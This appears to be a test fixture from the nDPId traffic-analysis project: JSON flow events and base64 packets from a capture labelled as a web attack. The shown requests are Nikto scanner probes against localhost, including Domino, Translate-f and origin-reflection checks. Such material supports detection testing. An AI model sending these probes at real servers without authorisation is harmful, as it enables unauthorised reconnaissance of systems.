+00637{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":747083,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"AAAAAAAAAAAAAAAACABFAADL46dAAEAGWIN\/AAABfwAAAcH6H5C6Q9uIEYxnOoAYAED+vwAAAQEICp1m+zOdZvsyR0VUIC93ZWJhZG1pbi5uc2YgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpEb21pbm8gZGV0ZWN0aW9uKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":58,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1576420276747,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49658,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/webadmin.nsf","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Domino detection)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":59,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1576420276749,"flow_last_seen":0,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":186,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":186,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49660,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00642{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":749424,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"AAAAAAAAAAAAAAAACABFAADONl9AAEAGBcl\/AAABfwAAAcH8H5Dz0w5\/kxB3k4AYAED+wgAAAQEICp1m+zWdZvs1R0VUIC9ub25leGlzdGVudC5uc2YgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpEb21pbm8gZGV0ZWN0aW9uKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":59,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1576420276749,"flow_last_seen":0,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":186,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":186,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49660,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/nonexistent.nsf","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Domino detection)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":60,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1576420276751,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49662,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00622{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":751108,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/ubFAAEAGgoV\/AAABfwAAAcH+H5C5FIGNENlwioAYAED+swAAAQEICp1m+zedZvs2R0VUIC8gSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpwYXJrZWQgZGV0ZWN0aW9uKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":60,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1576420276751,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49662,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:parked detection)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":61,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1576420276754,"flow_last_seen":0,"flow_tot_l4_data_len":199,"flow_min_l4_data_len":199,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":199,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49664,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00658{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":754093,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"AAAAAAAAAAAAAAAACABFAADbnMVAAEAGn1V\/AAABfwAAAcIAH5C\/caTogsAMB4AYAED+zwAAAQEICp1m+zqdZvs5R0VUIC8gSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpvcmlnaW5fcmVmbGVjdGlvbikNCk9yaWdpbjogbmlrdG8uZXhhbXBsZS5jb20NCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00758{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":61,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1576420276754,"flow_last_seen":0,"flow_tot_l4_data_len":199,"flow_min_l4_data_len":199,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":199,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49664,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:origin_reflection)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":62,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1576420276756,"flow_last_seen":0,"flow_tot_l4_data_len":194,"flow_min_l4_data_len":194,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":194,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49666,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00649{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":756749,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"AAAAAAAAAAAAAAAACABFAADW2EVAAEAGY9p\/AAABfwAAAcICH5Ck9+BnopzEpIAYAED+ygAAAQEICp1m+zydZvs8R0VUIC8gSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpvcmlnaW5fcmVmbGVjdGlvbikNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KT3JpZ2luOiAuZXhhbXBsZS5jb20NCg0K"} +00758{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":62,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1576420276756,"flow_last_seen":0,"flow_tot_l4_data_len":194,"flow_min_l4_data_len":194,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":194,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49666,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:origin_reflection)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":63,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1576420276758,"flow_last_seen":0,"flow_tot_l4_data_len":187,"flow_min_l4_data_len":187,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":187,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49668,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00641{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":758862,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"AAAAAAAAAAAAAAAACABFAADPoehAAEAGmj5\/AAABfwAAAcIEH5AAZJnEB3vRtYAYAED+wwAAAQEICp1m+z6dZvs+R0VUIC9pbmRleC5hc3AgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBUcmFuc2xhdGUtZiAjMSkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":63,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1576420276758,"flow_last_seen":0,"flow_tot_l4_data_len":187,"flow_min_l4_data_len":187,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":187,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49668,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.asp","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:headers: Translate-f #1)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":64,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1576420276760,"flow_last_seen":0,"flow_tot_l4_data_len":189,"flow_min_l4_data_len":189,"flow_max_l4_data_len":189,"flow_avg_l4_data_len":189,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49670,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00645{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":760198,"pkt_caplen":223,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":223,"pkt_l4_len":189,"pkt":"AAAAAAAAAAAAAAAACABFAADRGS1AAEAGIvh\/AAABfwAAAcIGH5CUqCEOlTzFf4AYAED+xQAAAQEICp1m+0CdZvtAR0VUIC9qdW5rOTk5LmFzcCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmhlYWRlcnM6IFRyYW5zbGF0ZS1mICMxKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":64,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1576420276760,"flow_last_seen":0,"flow_tot_l4_data_len":189,"flow_min_l4_data_len":189,"flow_max_l4_data_len":189,"flow_avg_l4_data_len":189,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49670,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/junk999.asp","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:headers: Translate-f #1)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":65,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1576420276761,"flow_last_seen":0,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":188,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":188,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49672,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00641{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":761673,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"AAAAAAAAAAAAAAAACABFAADQx0dAAEAGdN5\/AAABfwAAAcIIH5Btvf9kj27E6oAYAED+xAAAAQEICp1m+0GdZvtBR0VUIC9pbmRleC5hc3B4IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6aGVhZGVyczogVHJhbnNsYXRlLWYgIzEpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":65,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1576420276761,"flow_last_seen":0,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":188,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":188,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49672,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.aspx","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:headers: Translate-f #1)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":66,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1576420276763,"flow_last_seen":0,"flow_tot_l4_data_len":190,"flow_min_l4_data_len":190,"flow_max_l4_data_len":190,"flow_avg_l4_data_len":190,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49674,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00645{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":763120,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"AAAAAAAAAAAAAAAACABFAADSXUtAAEAG3th\/AAABfwAAAcIKH5BTRGVwA03HQYAYAED+xgAAAQEICp1m+0OdZvtCR0VUIC9qdW5rOTg4LmFzcHggSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBUcmFuc2xhdGUtZiAjMSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":66,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1576420276763,"flow_last_seen":0,"flow_tot_l4_data_len":190,"flow_min_l4_data_len":190,"flow_max_l4_data_len":190,"flow_avg_l4_data_len":190,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49674,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/junk988.aspx","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:headers: Translate-f #1)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":67,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1576420276764,"flow_last_seen":0,"flow_tot_l4_data_len":187,"flow_min_l4_data_len":187,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":187,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49676,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00641{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":764454,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"AAAAAAAAAAAAAAAACABFAADP8RNAAEAGSxN\/AAABfwAAAcIMH5D+v8k3Lccr2IAYAED+wwAAAQEICp1m+0SdZvtER0VUIC9sb2dpbi5hc3AgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmhlYWRlcnM6IFRyYW5zbGF0ZS1mICMxKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":67,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1576420276764,"flow_last_seen":0,"flow_tot_l4_data_len":187,"flow_min_l4_data_len":187,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":187,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49676,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/login.asp","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:headers: Translate-f #1)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":68,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1576420276765,"flow_last_seen":0,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":188,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":188,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49678,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00641{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":765824,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"AAAAAAAAAAAAAAAACABFAADQIn9AAEAGGad\/AAABfwAAAcIOH5Dotxpb5DtnaoAYAED+xAAAAQEICp1m+0WdZvtFR0VUIC9sb2dpbi5hc3B4IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6aGVhZGVyczogVHJhbnNsYXRlLWYgIzEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":68,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1576420276765,"flow_last_seen":0,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":188,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":188,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49678,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/login.aspx","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:headers: Translate-f #1)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":69,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1576420276768,"flow_last_seen":0,"flow_tot_l4_data_len":162,"flow_min_l4_data_len":162,"flow_max_l4_data_len":162,"flow_avg_l4_data_len":162,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49680,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00609{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":768301,"pkt_caplen":196,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":196,"pkt_l4_len":162,"pkt":"AAAAAAAAAAAAAAAACABFAAC2dlNAAEAGxex\/AAABfwAAAcIQH5C4PE56dk2whIAYAED+qgAAAQEICp1m+0idZvtIR0VUIC8gSFRUUC8xLjANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":69,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":1576420276768,"flow_last_seen":0,"flow_tot_l4_data_len":162,"flow_min_l4_data_len":162,"flow_max_l4_data_len":162,"flow_avg_l4_data_len":162,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49680,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":70,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1576420276770,"flow_last_seen":0,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":168,"flow_max_l4_data_len":168,"flow_avg_l4_data_len":168,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49682,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00617{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":770266,"pkt_caplen":202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":202,"pkt_l4_len":168,"pkt":"AAAAAAAAAAAAAAAACABFAAC8XLtAAEAG335\/AAABfwAAAcISH5CeUGSSsmiGvoAYAED+sAAAAQEICp1m+0qdZvtKR0VUIC9pbWFnZXMgSFRUUC8xLjANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpoZWFkZXJzOiBJSVMgaW50ZXJuYWwgSVApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":70,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":1576420276770,"flow_last_seen":0,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":168,"flow_max_l4_data_len":168,"flow_avg_l4_data_len":168,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49682,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 